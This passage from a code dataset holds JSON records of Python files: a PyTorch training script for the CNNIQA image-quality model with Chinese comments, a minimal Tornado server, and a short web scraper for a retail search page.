"call"}, {"api_name": "quickbbs.models.Thumbnails_Files.objects", "line_number": 322, "usage_type": "attribute"}, {"api_name": "quickbbs.models.Thumbnails_Files", "line_number": 322, "usage_type": "name"}, {"api_name": "scandir.scandir", "line_number": 338, "usage_type": "call"}, {"api_name": "html.unescape", "line_number": 342, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 349, "usage_type": "call"}, {"api_name": "os.path", "line_number": 349, "usage_type": "attribute"}, {"api_name": "pathvalidate.sanitize_filename", "line_number": 373, "usage_type": "call"}, {"api_name": "pathvalidate.sanitize_filename", "line_number": 374, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 377, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 377, "usage_type": "call"}, {"api_name": "os.path", "line_number": 377, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 402, "usage_type": "call"}, {"api_name": "os.path", "line_number": 402, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 407, "usage_type": "call"}, {"api_name": "os.path", "line_number": 407, "usage_type": "attribute"}, {"api_name": "quickbbs.models.index_data.objects.filter", "line_number": 409, "usage_type": "call"}, {"api_name": "quickbbs.models.index_data.objects", "line_number": 409, "usage_type": "attribute"}, {"api_name": "quickbbs.models.index_data", "line_number": 409, "usage_type": "name"}, {"api_name": "quickbbs.models.index_data.objects.filter", "line_number": 411, "usage_type": "call"}, {"api_name": "quickbbs.models.index_data.objects", "line_number": 411, "usage_type": "attribute"}, {"api_name": "quickbbs.models.index_data", "line_number": 411, "usage_type": "name"}, {"api_name": "quickbbs.models.index_data.objects.filter", "line_number": 421, "usage_type": "call"}, {"api_name": "quickbbs.models.index_data.objects", "line_number": 421, "usage_type": "attribute"}, {"api_name": "quickbbs.models.index_data", "line_number": 421, "usage_type": "name"}, {"api_name": "scandir.scandir", "line_number": 456, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 459, "usage_type": "call"}, {"api_name": "os.path", "line_number": 459, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 470, "usage_type": "call"}, {"api_name": "os.path", "line_number": 470, "usage_type": "attribute"}, {"api_name": "scandir.walk", "line_number": 477, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 480, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 490, "usage_type": "call"}, {"api_name": "quickbbs.models.index_data.objects.update_or_create", "line_number": 492, "usage_type": "call"}, {"api_name": "quickbbs.models.index_data.objects", "line_number": 492, "usage_type": "attribute"}, {"api_name": "quickbbs.models.index_data", "line_number": 492, "usage_type": "name"}, {"api_name": "stat.ST_SIZE", "line_number": 499, "usage_type": "attribute"}, {"api_name": "stat.ST_MTIME", "line_number": 500, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 503, "usage_type": "call"}, {"api_name": "django.core.exceptions.MultipleObjectsReturned", "line_number": 506, "usage_type": "name"}, {"api_name": "quickbbs.models.index_data.objects.filter", "line_number": 508, "usage_type": "call"}, {"api_name": "quickbbs.models.index_data.objects", "line_number": 508, "usage_type": "attribute"}, {"api_name": "quickbbs.models.index_data", "line_number": 508, "usage_type": "name"}, {"api_name": "quickbbs.models.index_data.objects.update_or_create", "line_number": 511, "usage_type": "call"}, {"api_name": "quickbbs.models.index_data.objects", "line_number": 511, "usage_type": "attribute"}, {"api_name": "quickbbs.models.index_data", "line_number": 511, "usage_type": "name"}, {"api_name": "stat.ST_SIZE", "line_number": 518, "usage_type": "attribute"}, {"api_name": "stat.ST_MTIME", "line_number": 519, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 522, "usage_type": "call"}, {"api_name": "stat.ST_MTIME", "line_number": 526, "usage_type": "attribute"}, {"api_name": "stat.ST_MTIME", "line_number": 527, "usage_type": "attribute"}, {"api_name": "frontend.archives3.id_cfile_by_sig", "line_number": 543, "usage_type": "call"}, {"api_name": "frontend.archives3", "line_number": 543, "usage_type": "name"}, {"api_name": "quickbbs.models.Thumbnails_Archives.objects.filter", "line_number": 554, "usage_type": "call"}, {"api_name": "quickbbs.models.Thumbnails_Archives.objects", "line_number": 554, "usage_type": "attribute"}, {"api_name": "quickbbs.models.Thumbnails_Archives", "line_number": 554, "usage_type": "name"}, {"api_name": "frontend.archives3.id_cfile_by_sig", "line_number": 556, "usage_type": "call"}, {"api_name": "frontend.archives3", "line_number": 556, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 556, "usage_type": "call"}, {"api_name": "os.path", "line_number": 556, "usage_type": "attribute"}, {"api_name": "quickbbs.models.Thumbnails_Archives.objects.create", "line_number": 562, "usage_type": "call"}, {"api_name": "quickbbs.models.Thumbnails_Archives.objects", "line_number": 562, "usage_type": "attribute"}, {"api_name": "quickbbs.models.Thumbnails_Archives", "line_number": 562, "usage_type": "name"}, {"api_name": "os.sep", "line_number": 579, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 585, "usage_type": "call"}, {"api_name": "os.path", "line_number": 585, "usage_type": "attribute"}, {"api_name": "config.load_data", "line_number": 586, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 586, "usage_type": "call"}, {"api_name": "os.path", "line_number": 586, "usage_type": "attribute"}, {"api_name": "config.load_data", "line_number": 587, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 587, "usage_type": "call"}, {"api_name": "os.path", "line_number": 587, "usage_type": "attribute"}, {"api_name": "config.load_data", "line_number": 588, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 588, "usage_type": "call"}, {"api_name": "os.path", "line_number": 588, "usage_type": "attribute"}, {"api_name": "doctest.testmod", "line_number": 590, "usage_type": "call"}]}
{"seq_id": "9532347968", "text": "\"\"\"\r\nPyTorch 1.3 implementation of the following paper:\r\nKang L, Ye P, Li Y, et al. Convolutional neural networks for no-reference image quality assessment[C]//\r\nProceedings of the IEEE Conference on Computer Vision and Pattern Recognition. 2014: 1733-1740.\r\n Usage:\r\n    Start tensorboard:\r\n    ```bash\r\n    tensorboard --logdir=logger --port=6006\r\n    ```\r\n    Run the main.py:\r\n    ```bash\r\n    CUDA_VISIBLE_DEVICES=0 python main.py --exp_id=0\r\n    ```\r\n Implemented by Dingquan Li\r\n Email: dingquanli@pku.edu.cn\r\n Date: 2019/11/8\r\n\"\"\"\r\n\r\nfrom argparse import ArgumentParser\r\nimport os\r\nimport numpy as np\r\nimport random\r\nfrom scipy import stats\r\nimport yaml\r\nimport torch\r\nfrom torch.utils.data import DataLoader\r\nfrom torch import nn\r\nimport torch.nn.functional as F\r\nfrom torch.optim import Adam\r\nfrom IQADataset import IQADataset\r\nfrom ignite.engine import Events, create_supervised_trainer, create_supervised_evaluator\r\nfrom ignite.metrics.metric import Metric\r\nfrom tensorboardX import SummaryWriter\r\nimport datetime\r\n\r\n\r\ndef ensure_dir(path):\r\n    if not os.path.exists(path):\r\n        os.makedirs(path)\r\n\r\n\"\"\"\"\r\n这里的y 是上面patchs中返回的y = (torch.Tensor([self.label[idx]]), torch.Tensor([self.label_std[idx]])\r\n\"\"\"\r\ndef loss_fn(y_pred, y):\r\n    return F.l1_loss(y_pred, y[0])  # Function that takes the mean element-wise absolute value difference\\\r\n                                    # 取平均元素绝对值差的 函数\r\n\r\n\r\n\"\"\"\r\n这是定义进行损失函数的系数\r\n默认将“y”pred“、”y“作为“update”函数的输入。当有多个变量时再进行参数output_transform设置\r\n\"\"\"\r\nclass IQAPerformance(Metric):\r\n    \"\"\"\r\n    Evaluation of IQA methods using SROCC, KROCC, PLCC, RMSE, MAE, OR.\r\n\r\n    `update` must receive output of the form (y_pred, y).\r\n    \"\"\"\r\n    def reset(self): # 在__init__函数中调用  将度量重置为其初始状态。默认情况下，在每个历元开始时调用此函数。\r\n        self._y_pred = []\r\n        self._y      = []\r\n        self._y_std  = []\r\n\r\n    def update(self, output): # 在__init__函数中调用 更新然后添加到列表中，默认情况下，每个批次调用一次\r\n\r\n        y_pred, y = output  # 默认将“y”pred“、”y“作为“update”函数的输入 这里的y代表的是主观评价分\r\n        self._y.append(y[0].item())\r\n        self._y_std.append(y[1].item())\r\n        self._y_pred.append(torch.mean(y_pred).item())\r\n\r\n    def compute(self):  # 自动调用该函数\r\n        sq = np.reshape(np.asarray(self._y), (-1,))  # 将h x W转换为一列 （-1，）等价于 -1,一维数组\r\n        sq_std = np.reshape(np.asarray(self._y_std), (-1,))\r\n        q = np.reshape(np.asarray(self._y_pred), (-1,))\r\n\r\n        srocc = stats.spearmanr(sq, q)[0] # 计算斯皮尔曼等级相关系数 在axis=0上\r\n        krocc = stats.stats.kendalltau(sq, q)[0] # 计算肯德尔等级相关系数 预测单调性\r\n        plcc = stats.pearsonr(sq, q)[0]  # 计算皮尔逊线性相关系数 预测准确性\r\n        rmse = np.sqrt(((sq - q) ** 2).mean()) # 计算预测的一致性 由均方根误差\r\n        mae = np.abs((sq - q)).mean() # 计算均方误差的绝对值\r\n        outlier_ratio = (np.abs(sq - q) > 2 * sq_std).mean()\r\n\r\n        return srocc, krocc, plcc, rmse, mae, outlier_ratio\r\n\"\"\"\r\n这是cnn网络架构\r\n\"\"\"\r\nclass CNNIQAnet(nn.Module):\r\n    def __init__(self, ker_size=7, n_kers=50, n1_nodes=800, n2_nodes=800):\r\n        super(CNNIQAnet, self).__init__()\r\n        self.conv1  = nn.Conv2d(1, n_kers, ker_size) # 由1通道变为50通道\r\n        self.fc1    = nn.Linear(2 * n_kers, n1_nodes) #\r\n        self.fc2    = nn.Linear(n1_nodes, n2_nodes)\r\n        self.fc3    = nn.Linear(n2_nodes, 1)\r\n        self.dropout = nn.Dropout()\r\n\r\n    def forward(self, x): # 调用__call__时，自动调用forward函数\r\n        x  = x.view(-1, x.size(-3), x.size(-2), x.size(-1))  ##数据相同，形状不同\r\n\r\n        h  = self.conv1(x)   # 深度 50\r\n\r\n        # h1 = F.adaptive_max_pool2d(h, 1)\r\n        # h2 = -F.adaptive_max_pool2d(-h, 1)\r\n        h1 = F.max_pool2d(h, (h.size(-2), h.size(-1)))# return 50\r\n        h2 = -F.max_pool2d(-h, (h.size(-2), h.size(-1))) # 由于relu函数 不能负值，所以这样--为正\r\n        h  = torch.cat((h1, h2), 1)  # max-min pooling，maxpooling 和 minpooling 在指定维度连接起来 返回100\r\n        h  = h.squeeze(3).squeeze(2) # 降维度，减少无用信息\r\n\r\n        h = F.relu(self.fc1(h))  # 进行一次线性变换得到800\r\n        h = self.dropout(h)  # 进行 0.5的抽取\r\n        h = F.relu(self.fc2(h))  # 再进行一次线性变换，800\r\n        q = self.fc3(h)  # 再进行一次线性变换得到1个得分值\r\n\r\n        return q\r\n\r\n\r\ndef get_data_loaders(config, train_batch_size, exp_id=0):\r\n    train_dataset = IQADataset(config, exp_id, 'train')\r\n    train_loader = torch.utils.data.DataLoader(train_dataset,\r\n                                              batch_size=train_batch_size,\r\n                                              shuffle=True,\r\n                                              num_workers=4)  #数据加载器，结合了数据集和取样器，并且\r\n    # 可以提供多个线程处理数据集。在训练模型时使用到此函数，用来把训练数据分成多个小组，此函数每次抛出一组数据。直至\r\n    # 把所有的数据都抛出。就是做一个数据的初始化\r\n\r\n    val_dataset = IQADataset(config, exp_id, 'val')\r\n    val_loader = torch.utils.data.DataLoader(val_dataset)\r\n\r\n    if config['test_ratio']:\r\n        test_dataset = IQADataset(config, exp_id, 'test')\r\n        test_loader = torch.utils.data.DataLoader(test_dataset)\r\n\r\n        return train_loader, val_loader, test_loader\r\n\r\n    return train_loader, val_loader\r\n\r\n\r\ndef run(train_batch_size, epochs, lr, weight_decay, config, exp_id, log_dir, trained_model_file, save_result_file, disable_gpu=False):\r\n    if config['test_ratio']: # 为0.2 非0则真\r\n        train_loader, val_loader, test_loader = get_data_loaders(config, train_batch_size, exp_id)\r\n    else:\r\n        train_loader, val_loader = get_data_loaders(config, train_batch_size, exp_id)\r\n\r\n    device = torch.device(\"cuda\" if not disable_gpu and torch.cuda.is_available() else \"cpu\")\r\n    model = CNNIQAnet(ker_size=config['kernel_size'],\r\n                      n_kers=config['n_kernels'],\r\n                      n1_nodes=config['n1_nodes'],\r\n                      n2_nodes=config['n2_nodes'])\r\n    writer = SummaryWriter(log_dir=log_dir) # 日志会被存入log_dir文件\r\n    model = model.to(device)\r\n    print(model)\r\n    # if multi_gpu and torch.cuda.device_count() > 1:\r\n    #     model = nn.DataParallel(model)\r\n\r\n    optimizer = Adam(model.parameters(), lr=lr, weight_decay=weight_decay) # 优化方法  权重衰减为0\r\n    # (defaul) beats用于计算梯度以及梯度平方的运行平均值的系数\r\n    # betas = （beta1，beta2）\r\n    # beta1：一阶矩估计的指数衰减率（如 0.9）。\r\n    # beta2：二阶矩估计的指数衰减率（如 0.999）。该超参数在稀疏梯度（如在 NLP 或计算机视觉任务中）中应该设置为接近 1 的数。\r\n    global best_criterion # 系数阈值进行比较\r\n    best_criterion = -1  # SROCC>=-1\r\n    # 对loss进行反向传播\r\n    trainer = create_supervised_trainer(model, optimizer, loss_fn, device=device)  # Factory function for creating a trainer for supervised models.\r\n    evaluator = create_supervised_evaluator(model,\r\n                                            metrics={'IQA_performance': IQAPerformance()}, # metrics是一个字典来存储需要度量的指标。\r\n                                            device=device)\r\n\r\n    @trainer.on(Events.ITERATION_COMPLETED) # 当一个 iteration 结束时, 会触发此事件\r\n    def log_training_loss(engine):\r\n        writer.add_scalar(\"training/loss\", engine.state.output, engine.state.iteration) # 日志中增加了该参数，并可被可视化\r\n\r\n    @trainer.on(Events.EPOCH_COMPLETED) # 当一个 epoch 结束时, 会触发此事件，该程序有500次\r\n    def log_validation_results(engine):\r\n        evaluator.run(val_loader)\r\n        metrics = evaluator.state.metrics\r\n        SROCC, KROCC, PLCC, RMSE, MAE, OR = metrics['IQA_performance']\r\n        print(\"Validation Results - Epoch: {} SROCC: {:.4f} KROCC: {:.4f} PLCC: {:.4f} RMSE: {:.4f} MAE: {:.4f} OR: {:.2f}%\"\r\n              .format(engine.state.epoch, SROCC, KROCC, PLCC, RMSE, MAE, 100 * OR))\r\n        writer.add_scalar(\"validation/SROCC\", SROCC, engine.state.epoch)\r\n        writer.add_scalar(\"validation/KROCC\", KROCC, engine.state.epoch)\r\n        writer.add_scalar(\"validation/PLCC\", PLCC, engine.state.epoch)\r\n        writer.add_scalar(\"validation/RMSE\", RMSE, engine.state.epoch)\r\n        writer.add_scalar(\"validation/MAE\", MAE, engine.state.epoch)\r\n        writer.add_scalar(\"validation/OR\", OR, engine.state.epoch)\r\n        global best_criterion\r\n        global best_epoch\r\n        if SROCC > best_criterion: # 将值不断增加的参数，添加到日志中\r\n            best_criterion = SROCC\r\n            best_epoch = engine.state.epoch\r\n            torch.save(model.state_dict(), trained_model_file) # 将整个模型的字典中参数存入到这个trained_model_file文件名\r\n            \"\"\"\r\n            # 保存训练的模型：\r\n             torch.save(model.state_dict(),\"Linear.pth\")\r\n           # 加载预训练模型的参数\r\n           model.load_state_dict(torch.load(\"Linear.pth\"))\r\n            \"\"\"\r\n\r\n\r\n    @trainer.on(Events.EPOCH_COMPLETED) #当一个 epoch 结束时, 会触发此事件\r\n    def log_testing_results(engine):\r\n        if config[\"test_ratio\"] > 0 and config['test_during_training']:\r\n            evaluator.run(test_loader)\r\n            metrics = evaluator.state.metrics\r\n            SROCC, KROCC, PLCC, RMSE, MAE, OR = metrics['IQA_performance']\r\n            print(\"Testing Results    - Epoch: {} SROCC: {:.4f} KROCC: {:.4f} PLCC: {:.4f} RMSE: {:.4f} MAE: {:.4f} OR: {:.2f}%\"\r\n                  .format(engine.state.epoch, SROCC, KROCC, PLCC, RMSE, MAE, 100 * OR))\r\n            writer.add_scalar(\"testing/SROCC\", SROCC, engine.state.epoch)\r\n            writer.add_scalar(\"testing/KROCC\", KROCC, engine.state.epoch)\r\n            writer.add_scalar(\"testing/PLCC\", PLCC, engine.state.epoch)\r\n            writer.add_scalar(\"testing/RMSE\", RMSE, engine.state.epoch)\r\n            writer.add_scalar(\"testing/MAE\", MAE, engine.state.epoch)\r\n            writer.add_scalar(\"testing/OR\", OR, engine.state.epoch)\r\n\r\n    @trainer.on(Events.COMPLETED) # 当全部运行完后触发该事件 run is completed\r\n    def final_testing_results(engine):\r\n        if config[\"test_ratio\"]:\r\n            model.load_state_dict(torch.load(trained_model_file))\r\n            evaluator.run(test_loader)\r\n            metrics = evaluator.state.metrics\r\n            SROCC, KROCC, PLCC, RMSE, MAE, OR = metrics['IQA_performance']\r\n            global best_epoch\r\n            print(\"Final Test Results - Epoch: {} SROCC: {:.4f} KROCC: {:.4f} PLCC: {:.4f} RMSE: {:.4f} MAE: {:.4f} OR: {:.2f}%\"\r\n                .format(best_epoch, SROCC, KROCC, PLCC, RMSE, MAE, 100 * OR))\r\n            np.save(save_result_file, (SROCC, KROCC, PLCC, RMSE, MAE, OR))  # 将测试结果中的系数保存在save_result_file文件里\r\n\r\n    # kick everything off\r\n    trainer.run(train_loader, max_epochs=epochs) # 直接运行程序\r\n\r\n    writer.close()\r\n\"\"\"\r\npytorch中高级API  ignite 训练模型 的步骤\r\n创建模型, 创建 Dataloader\r\n创建 trainer\r\n创建 evaluator\r\n为一些事件注册函数, @trainer.on()\r\ntrainer.run()\r\n\"\"\"\r\n\r\nif __name__ == \"__main__\":\r\n    parser = ArgumentParser(description='PyTorch CNNIQA') # 这就是一个简单的一个示例说明，告诉读者各个参数的意义，方便理解\r\n    parser.add_argument(\"--seed\", type=int, default=19920517)\r\n    parser.add_argument('--batch_size', type=int, default=128,\r\n                        help='input batch size for training (default: 128)')\r\n    parser.add_argument('--epochs', type=int, default=500,\r\n                        help='number of epochs to train (default: 500)')\r\n    parser.add_argument('--lr', type=float, default=0.001,\r\n                        help='learning rate (default: 0.001)')\r\n    parser.add_argument('--weight_decay', type=float, default=0.0,\r\n                        help='weight decay (default: 0.0)')\r\n    parser.add_argument('--config', default='config.yaml', type=str,\r\n                        help='config file path (default: config.yaml)')\r\n    parser.add_argument('--exp_id', default='0', type=str,\r\n                        help='exp id (default: 0)')\r\n    parser.add_argument('--database', default='LIVE', type=str,\r\n                        help='database name (default: LIVE)')\r\n    parser.add_argument('--model', default='CNNIQA', type=str,\r\n                        help='model name (default: CNNIQA)')\r\n    # parser.add_argument('--resume', default=None, type=str,\r\n    #                     help='path to latest checkpoint (default: None)')\r\n    parser.add_argument(\"--log_dir\", type=str, default=\"logger\",\r\n                        help=\"log directory for Tensorboard log output\")\r\n    parser.add_argument('--disable_gpu', action='store_true',\r\n                        help='flag whether to disable GPU')\r\n    # parser.add_argument('--multi_gpu', action='store_true',\r\n    #                     help='flag whether to use multiple GPUs')\r\n\r\n    args = parser.parse_args() # 把parser中设置的所有\"add_argument\"给返回到args子类实例当中， 那么parser中增加的属性内容都会在args实例中，使用即可。\r\n\r\n    torch.manual_seed(args.seed)  #为CPU设置种子用于生成随机数，以使得结果是确定的\r\n    torch.backends.cudnn.deterministic = True # 由于含随机种子，提升计算速度，避免波动\r\n    torch.backends.cudnn.benchmark = False # 由于含随机种子，提升计算速度，避免波动\r\n    np.random.seed(args.seed)\r\n    random.seed(args.seed)\r\n\r\n    torch.utils.backcompat.broadcast_warning.enabled = True #为了帮助识别你的代码中通过广播介绍向后不兼容性可能存在的情况下，\r\n    # 可以设定torch.utils.backcompat.broadcast_warning.enabled到True，这将产生在这种情况下，一个python警告。\r\n\r\n    with open(args.config) as f:\r\n        config = yaml.load(f, Loader=yaml.FullLoader) # 打开文件 将解析流中的第一个YAML文档转换为python对象,字典嵌套\r\n    print('exp id: ' + args.exp_id)\r\n    print('database: ' + args.database)\r\n    print('model: ' + args.model)\r\n    \"\"\"\r\n    以下两行代码就是将config参数进行更新，\r\n    \"\"\"\r\n    config.update(config[args.database]) # 将config[args.database]中字典内容进行添加到config中，增加了（减少一层嵌套的字典）\r\n    config.update(config[args.model]) # 将config[args.model]中字典内容进行添加到config中，增加了（减少一层嵌套的字典）\r\n    # 创造了一个日志路径\r\n    log_dir = '{}/EXP{}-{}-{}-lr={}-{}'.format(args.log_dir, args.exp_id, args.database, args.model, args.lr, \r\n                                                  datetime.datetime.now().strftime(\"%I:%M%p on %B %d, %Y\"))\r\n    # 创造了一个目录\r\n    ensure_dir('checkpoints')\r\n    # 在上个目录中 创造一个保存训练模型参数的文件名\r\n    trained_model_file = 'checkpoints/{}-{}-EXP{}-lr={}'.format(args.model, args.database, args.exp_id, args.lr)\r\n    ensure_dir('results')\r\n    # 创造一个保存测试结果中系数的文件名\r\n    save_result_file = 'results/{}-{}-EXP{}-lr={}'.format(args.model, args.database, args.exp_id, args.lr)\r\n\r\n    run(args.batch_size, args.epochs, args.lr, args.weight_decay, config, args.exp_id,\r\n        log_dir, trained_model_file, save_result_file, args.disable_gpu)\r\n", "repo_name": "zhuyefan/NR-IQA", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 15876, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.exists", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.functional.l1_loss", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 45, "usage_type": "name"}, {"api_name": "ignite.metrics.metric.Metric", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 74, "usage_type": "call"}, {"api_name": "scipy.stats.spearmanr", "line_number": 76, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 76, "usage_type": "name"}, {"api_name": "scipy.stats.stats.kendalltau", "line_number": 77, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 77, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 77, "usage_type": "name"}, {"api_name": "scipy.stats.pearsonr", "line_number": 78, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 78, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 87, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 87, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 90, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 92, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 93, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 94, "usage_type": "name"}, {"api_name": "torch.nn.functional.max_pool2d", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 103, "usage_type": "name"}, {"api_name": "torch.nn.functional.max_pool2d", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 104, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 108, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 110, "usage_type": "name"}, {"api_name": "IQADataset.IQADataset", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 118, "usage_type": "attribute"}, {"api_name": "IQADataset.IQADataset", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 126, "usage_type": "attribute"}, {"api_name": "IQADataset.IQADataset", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 130, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 143, "usage_type": "attribute"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 154, "usage_type": "call"}, {"api_name": "ignite.engine.create_supervised_trainer", "line_number": 162, "usage_type": "call"}, {"api_name": "ignite.engine.create_supervised_evaluator", "line_number": 163, "usage_type": "call"}, {"api_name": "ignite.engine.Events.ITERATION_COMPLETED", "line_number": 167, "usage_type": "attribute"}, {"api_name": "ignite.engine.Events", "line_number": 167, "usage_type": "name"}, {"api_name": "torch.save", "line_number": 189, "usage_type": "call"}, {"api_name": "ignite.engine.Events.EPOCH_COMPLETED", "line_number": 171, "usage_type": "attribute"}, {"api_name": "ignite.engine.Events", "line_number": 171, "usage_type": "name"}, {"api_name": "ignite.engine.Events.EPOCH_COMPLETED", "line_number": 198, "usage_type": "attribute"}, {"api_name": "ignite.engine.Events", "line_number": 198, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 223, "usage_type": "call"}, {"api_name": "ignite.engine.Events.COMPLETED", "line_number": 213, "usage_type": "attribute"}, {"api_name": "ignite.engine.Events", "line_number": 213, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 239, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 268, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 269, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 270, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 271, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 271, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 272, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 274, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 278, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 278, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 289, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 289, "usage_type": "attribute"}]}
{"seq_id": "12942264765", "text": "import tornado\n\nfrom tornado.httpserver import HTTPServer\nfrom tornado.ioloop import IOLoop\nfrom tornado.options import define, parse_config_file\nfrom tornado.web import Application, RequestHandler, url\n\n\n#用来响应用户请求\nclass IndexHandler(RequestHandler):\n    #用来响应以get方式发起的请求\n    def initialize(self):\n        print(\"initialize方法执行\")\n    def get(self,*args,**kwargs):\n        #服务器给浏览器的想用内容\n        print(\"get方法执行\")\n        self.write(\"hello tornado\")\n        self.write(\"hello tornado\")\n        self.write(\"hello tornado\")\n        self.write(\"hello tornado\")\n    #响应以post方式发起的请求\n    def post(self):\n        pass\n    def on_finish(self):\n        print(\"on_finish方法执行\")\n    # def finish(self, chunk= None):\n    #     pass\n\n# define('port',default=8888,type=int,multiple=False)\n# parse_config_file('config')\n\n#创建application对象，进行若干个对服务器的设置\n#例如：路由列表，模板路径，静态资源路径\napp=Application([('/',IndexHandler)])\n#创建服务器程序\nserver=HTTPServer(app)\n#让服务器监听某个端口\nserver.listen(8889)\n#启动服务器\nIOLoop.current().start()\n\n", "repo_name": "zlz2013/zlz", "sub_path": "spider_project/tornado/day01/tornado_basicresp.py", "file_name": "tornado_basicresp.py", "file_ext": "py", "file_size_in_byte": 1212, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tornado.web.RequestHandler", "line_number": 10, "usage_type": "name"}, {"api_name": "tornado.web.Application", "line_number": 34, "usage_type": "call"}, {"api_name": "tornado.httpserver.HTTPServer", "line_number": 36, "usage_type": "call"}, {"api_name": "tornado.ioloop.IOLoop.current", "line_number": 40, "usage_type": "call"}, {"api_name": "tornado.ioloop.IOLoop", "line_number": 40, "usage_type": "name"}]}
{"seq_id": "23316190589", "text": "import requests\nfrom bs4 import BeautifulSoup as Bs\nimport fake_useragent\n\n\nurl = 'https://www.technodom.kz/search?recommended_by=instant_search&recommended_code=iphone&r46_search_query=iphone&r46_input_query=iphone'\n# url_2 ='https://www.technodom.kz/p/smartfon-apple-iphone-11-128gb-black-mhdh3rma-228942?recommended_by=full_search&recommended_code=iphone'\nua = fake_useragent.UserAgent()\n\nreq = requests.get(url, headers={'user-agent':ua.random})\nif req.status_code == 200:\n    print('yes_connection')\nsrc = req.text\nsoup = Bs(src, \"lxml\")\nprint(src)\n# list_of_items = soup.find_all(class_='Typography Typography__Heading Typography__Heading_H1')\n# print(list_of_items)\n# for items in list_of_items:\n#     print(items.get('href'))\n    \n# all_a = soup.find_all('a')\n# for item in all_a:\n#     item_text = item.text\n#     item_url = item.get('href')\n#     print(f'{item_text}:{item_url}')\n    ", "repo_name": "KadyrbekAnalyst/Parser", "sub_path": "pars_technodom.py", "file_name": "pars_technodom.py", "file_ext": "py", "file_size_in_byte": 894, "program_lang": "python", "lang": "en", 